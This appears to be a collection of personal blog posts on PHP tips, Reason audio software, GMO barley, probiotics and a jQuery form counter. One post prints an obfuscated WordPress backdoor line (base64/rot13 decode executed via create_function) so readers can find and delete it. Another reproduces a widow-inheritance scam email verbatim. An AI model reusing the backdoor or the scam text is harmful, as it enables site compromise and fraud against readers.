the typical <?php phpinfo(); ?> wont work at earthlink.  Solution (or workaround) is to ask a more specific question:

<?php phpinfo(’4′); ?>
<?php phpinfo(’8′); ?>
<?php phpinfo(’16′); ?>
<?php phpinfo(’32′); ?>
<?php phpinfo(’64′); ?>


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[this is a copy of what I posted the Propellerhead Reason Forum.]

When Reason is slaved to a DAW (tried multiple DAWS), and there is a tempo map in the DAW’s Conductor Track, some Reason notes either do not not sound or sound with decreased velocity or with changed Amp Decay or Sustain.

 

I seem to be able to make them sound by moving the notes later than right at the beginning of the measure/beat.  But I have to move them as much as 23 units (frames or whatever the thousandths portion of the position indicator represents)…

 

But this obviously has an effect on the feel of the track, particularly obvious with bass voices.

 

To re-create the problem:

create a tempo map in a DAW that is rewire master… Have the tempo jump around from very slow tempos, like around 55bpm to faster tempos like 90bpm. Draw quantized notes in reason.

 

I know for certain this effects the Combinator patch called ‘Bass Player’ and the Subtractor patch called ‘Groove to This,’ but I’ve experienced this with other patches as well.

 

I’m running Digital Performer 8 and Reason 4 in 48kHz.

 

Things I’ve tried:

Switching DAWs (to Reaper)

Changing DAW Buffer Size and “host multiplier” buffer settings.

Changing Reason’s Default Sample Rate

Changing Reason’s Default Buffer Size

Restarting Programs

Repairing Disk Permissions.

Manually drawing a copy of DAW’s Tempo Map into Reason’s Transport Automation Lane while not rewired.

Moving notes later (seems to work, but not an acceptable solution)

[update] Tried moving to 44.1kHz… no dice


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[UPDATE 4] I finally heard back from the public affairs department at ConAgra.  They haven’t answered any of my questions yet, but I’m optimistic that they will, now that I’ve written back and explained why I think they should.  Hopefully, this post will become a source of actual factual information on the products in question, once I have the facts.

This is in response to:  http://dadgoinggreen.blogspot.com/2011/04/wtf-is-sustagrain-and-why-is-it-in-my.html which has a character limit.  So I guess I have to put it here on my own site.

[UPDATE] I believe this is the patent, #6083547http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&Sect2=HITOFF&p=1&u=/netahtml/PTO/search-bool.html&r=1&f=G&l=50&d=PALL&RefSrch=yes&Query=PN/6083547 [update 3] No, I don’t think it is :(  But I wrote ConAgra to ask

[UPDATE 2] I think sustagrain is actually a process for making flour from barley that’s healthier in certain ways, or is alleged to be.  Maybe I’m way off, but that’s what I’m getting from what I’m reading at the patent office. I might have to just write ConAgra and ask them. The only reason I haven’t done so already is that I’ve seen the same or nearly identical boilerplate response from them to other people who have written them (forums I found Etc) [update 3] Nope.  After more reading, I’ve found that Sustagrain is a re-naming of a barley strain called Prowashonupana… I think.  I wrote ConAgra and asked.  At any rate, it appears that Prowashonupana is a conventional hybrid, not a GM strain.  Again, I asked ConAgra.

Hello [to the guy that wrote the post this is a comment on].

I came across this while researching Sustagrain this morning after reading about the nutritional properties of various barley products (groats, pearled, rolled, pressed, Etc). I discovered such a thing as “sustagrain” exists and so I started trying to understand what it is and if it is or isn’t a GM crop.

A few points.
1. While I’m no apologist for companies like ConAgra, ADM, Monsanto Etc, who clearly have done some morally questionable things in the name of profit, I think that to keep things rational, it should be noted that not everything ConAgra does is necessarily evil. For instance, they do produce certified organic products, in addition to their scarier, unscrupulous profit-first activities. When companies get big enough to, it behooves them to take advantage of the power they can wield over legislation. I’m not justifying this as much as trying to point out that this is probably built into the culture of our economy and the kind of society we live in. When it’s food that we’re talking about, it’s easy to feel like it’s personal because it hits so close to home, but it’s just regular old free market capitalism doing its job: profit above all else.

2. According to all the research I’ve done this morning, Sustagrain is not a GMO. At least it’s not a biotech/genetic-engineering crop. It is a hybrid created via traditional methods. Please correct me if you know that I am wrong about this and point us all to some facts… (the web is cluttered with speculation and fear about this but very few facts). It is patented, so there’s something going on that I don’t quite understand yet. (I will try to find the patent, which of course is public info, at the patent office later today).

If anyone has found any evidence that this kind of barley is a GMO, please respond with some real info. As far as I can tell it isn’t.

3. (this is the thing that some people will be turned off by but please try to hear past the catchphrases and trigger-words that might make you want to disagree with me implusively)

The popular debate on GMOs is centered almost entirely on the practices of Monsanto, particularly their Roundup-ready plant strains (mainly corn and soy). As far as I can tell there are in fact very few varieties of GM crops in production (even though of course there’s a ton of the few that are in production being grown)… For instance I don’t believe there is currently a GM barley being produced at all. It’s mostly corn and soy that everyone is talking about.

And there are two main things that most people are taking issue with: First there’s patent law concerning these GM crops and the injustice this has led to with regard to farmers’ rights and the lawsuits resulting. Next, there’s the general issue people take with the use of chemical pesticides, which of course we can assume that roundup-ready crops get treated with.

Whenever the subject of GMOs comes up, I feel like it is important to point out that not all GM crops are roundup-ready ones.
There are at least several examples of GM crops that have been developed for the purpose of improving nutrition, particularly in regions that have limited access to a diversity of food and suffer from malnutrition and/or certain deficiencies/diseases that can be helped by so-called “frenkenfoods.” So in those cases, it’s really a nuts-and-bolts type of question of whether or not we are simply morally opposed to and afraid of any and all genetic engineering. If you are, you might find it worthwhile to learn a bit about how all this stuff works. It sounds scary when you hear of “putting fish genes into a tomato, where they don’t belong” but I promise, this is an oversimplification of what is going on. And repeating this kind of rhetoric just prolongs a widespread ignorance of the facts. There’s a sort of ‘fundamentalism’ around the subject that feels a bit scary to me and reminds me of an older time when people may have said “electricity is the work of the devil” or other things like that in reaction to something that was new and seemed scary to them. Personally, I prefer to eat Organic, but my motivation is to avoid pesticides and other unsustainable practices and vote with my wallet for better farms that produce using a more natural process.

And about patent law, like with just about every other aspect of intellectual property law, it badly needs to be adjusted.

There’s another reasonable concern I hear occasionally about contaminating the greater food supply through cross pollination Etc. I can relate to this concern and it bothers me a bit too.

But let’s try to be smart about things. Pesticides, Patent Law and the general concept of ‘gene tampering’ are all separate issues.

I’ll try to find the patent for sustagrain and post it here.

Cheers.

 


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What if the content/facts of all wikipedia articles were semantically linked by a prediction modeling application?

Of course all of this linking would need to be done by the community. But I have a great deal of faith in the wikipedia community.

All that really needs to happen is for links in sentences that contain dates like “2054″ or “June 11″ or “05, 21, 1976″ to be declared as being a prediction, fact, speculation (or other specs) Etc (for now, via a rel=”prediction” or time=”Etc” type of thing) (I think it would have to work along with/within human language syntax for now, because I doubt people want to qualify every word they write with semantic markup, but to require lines that contain a date to have some rules isn’t too crazy)

Another piece is needed to tie in the actual information, but it could just be a link to the actual article in which it appears, which isn’t necessary because that’s where it’s coming from.  It’s a start.

In other words, “Show me predictions for 2054 based on wikipedia info” could give you articles that contain predictions for 2054. And you can easily get to those articles from the results.  Not as granular as “linked data” should be, but right now, the web is basically all about making it easier to look at selfies and bad journalism.

I think this could have a lot of research power.


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OK so I found myself watching this ad for “keybiotics” which was at the beginning of a youtube vid I was about to watch.

It’s done in a painfully slow pitch format that has to do with a conspiracy theory Etc.

But I actually believe most of what the video says. According to the research I’ve done, the FDA has done some pretty shady things in recent/living history.

And as far as I’m concerned, microbial imbalance is often a plausible cause for many, MANY symptoms.

Some other stuff: As far as I know, most GI tract microbes cannot be reintroduced thru a supplement… I think I heard somewhere that there are at least 200-300 distinct organisms that we need to to have thriving in out intestines… Most of the probiotic supplements or foods out there can only claim to provide a few.

There is work being done on microbial transplants or ‘trans-pooh-sions,’ as one of the guys at Radiolab called it. Haha.

Anyway, this is totally legitimate science (not the video, the whole idea of microbes being a crucial part of humans). I suspect it’s highly under-appreciated. I suspect it’s going to become mainstream.

Here’s the video, but just so you know, I’m not buying their product. I am buying a similar product for less money on amazon.


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Been frustrated that Propellerhead Reason’s Meters and Faders do not use the standard dB measurement.  Instead the faders are just 0-127 (likely an artifact of MIDI), and the meters are just color-coded.

The following is something I found here after some digging.  It wasn’t easy to find so I’m re-posting it here.  This is plagiarism.  But I’m stealing bread to feed you hungry fellow frustrated and confused music producers out there.

I haven’t completely fact-checked this.  I’ll update in the next  few weeks if I find this info to be inaccurate.

[begin plagiarism]

WARNING: too much information mode = ON
(do I have a lot of time on my hands or what?!?)

Mixer Faders (and Master Fader) are Unity at 100 (or -7dB from clipping)

Mixer Fader (1-127) levels to dB:
127 = 0dB
123 = -1dB
119 = -2dB
115 = -3dB
111 = -4dB
106 = -5dB
104 = -6dB
100 = -7dB
97 = -8dB
93 = -9dB
83 = -12dB
72 = -15dB
64 = -18dB

What’s weird is that the NN-19 sampler levels don’t match these. They are:
127 = 0dB
123 = -3dB
112 = -6dB
100 = -9dB

Mixer Sends are Unity at:
Mono send = 79
Stereo send = 100
(since sereo aux sends follow channel panning, when panned hard left or right unity is at a send level of 79)

Mixer Meters: (from top to bottom)
(all levels rounded to nearest 0.5dB)
Top ‘LED’ (orange) = -1dB
2nd (orange) = -3.5dB
3rd (orange) = -6.0dB
4th (orange) = -8.5dB
5th (yellow) = -10.5dB
6th (yellow) = -13.0dB
7th (yellow) = -15.5dB
8th (yellow) = -17.5dB
9th (green) = -20.0dB
10th (green) = -22.5dB
11th (green) = -25.0dB
12th (green) = -27.3dB
13th (green) = -29.5dB
14th (green) = -32.0dB
15th (green) = -34.5dB
16th (green) = -36.5dB
17th (green) = -38.5dB
18th (green) = -41.5dB
19th (green) = -44.0dB
20th (green) = -45.5dB


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Mrs.Teresa Timmons <teresatimmons00@terra.com>

Subject: HeLLo

Peace be unto you,Greetings how are you? I am Mrs.Teresa Timmons, an
aging widow suffering from cancer leukemia,am confined in a nursing
home. -normal-blood-and-leukemia

-6a00e54faaf86b88330128762c2623970c

I inherited fund from my late loving husband Mr.Wihnyk Timmons,
The sum of [USD$14.5 Millions] which he deposited in Bank, I need a
good honest person who will use these funds for charity works.

I want
this fund to be used for charity work and for the propagation of Gods
work because I have no child to inherit it, 15% will be for your
compensation for doing this work.Please if you would be willing to
carry out the project kindly reply for more information thanks and God
bless you. You can contact me through my private email address
(teresatimmons11@outlook.com)
Yours Sincerely,
Mrs.Teresa Timmons
Email: teresatimmons11@outlook.com


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DELETE anything that looks like the below from all your theme files.

$z=get_option(“_transient_feed_fbc2353992919b11fc48934d3e55bd94″); $z=base64_decode(str_rot13($z)); if(strpos($z,”95A5440F”)!==false){ $_z=create_function(“”,$z); @$_z(); }

 

 


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I got quite frustrated trying to find a way to use the regex method of limiting the number of characters in a ‘multiple lines of text’ textarea in cFormsII, and I did not want to bother the awesome people that maintain the cForms homepage, cuz they get harassed enough so I went another route: jQuery.

The main problems I was having was no character count/limit, no way to insert additional HTML into the form and for some reason, when the form field contained the REGEX limit (the normal cForms recommended way), it was causing the form to not allow re-submit after a failed submit.

jQuery is awesome for stuff like this.  I added a script to my footer, next to <?php wp-footer(); ?>, in other words, right before </body>… Also, of course the whole thing needs to be contained inside of <script type=”text/javascript”>and</script> and your site needs to have already loaded jquery.js, probably in the <head> (what site doesn’t these days)

 //this first part ads an additional span, with the class 'remain', colored blue, right before the form field label,
 // which says the max characters allowed... Your selector will most likely be something other than #li--10
 jQuery( '#li--10&gt;label' ).append( '&lt;br&gt;&lt;span class="remain" style="color:blue;"&gt;200&lt;/span&gt; &lt;span&gt;characters remaining&lt;/span&gt;');
 // this part counts and limits the characters
 // notice my selector is for an element with id="#cf_field_10" ...Yours will likely be different
 jQuery('#cf_field_10').keyup(function () {
 // the maximum characters you want to allow
 var maxchars = 200;
 var tlength = jQuery(this).val().length;
 jQuery(this).val(jQuery(this).val().substring(0, maxchars));
 var tlength = jQuery(this).val().length;
 remain = maxchars - parseInt(tlength);
// this final part rewrites the contents of the span.remain to how many characters are remaining as the user types
// Again, the selecter needs to be changed to fit your needs
 jQuery('#li--10&gt;label&gt;span.remain').text(remain);
});

 

NOTE
I may have messed up with my commenting syntax so I’ll paste the whole thing uninterrupted below.

Also, obviously, you have to be dead-on with your class/id selectors.

jQuery( '#li--10&gt;label' ).append( '&lt;br&gt;&lt;span class="remain" style="color:blue;"&gt;200&lt;/span&gt; &lt;span&gt;characters remaining&lt;/span&gt;');
 jQuery('#cf_field_10').keyup(function () {
 var maxchars = 200;
 var tlength = jQuery(this).val().length;
 jQuery(this).val(jQuery(this).val().substring(0, maxchars));
 var tlength = jQuery(this).val().length;
 remain = maxchars - parseInt(tlength);
 jQuery('#li--10&gt;label&gt;span.remain').text(remain);
 });

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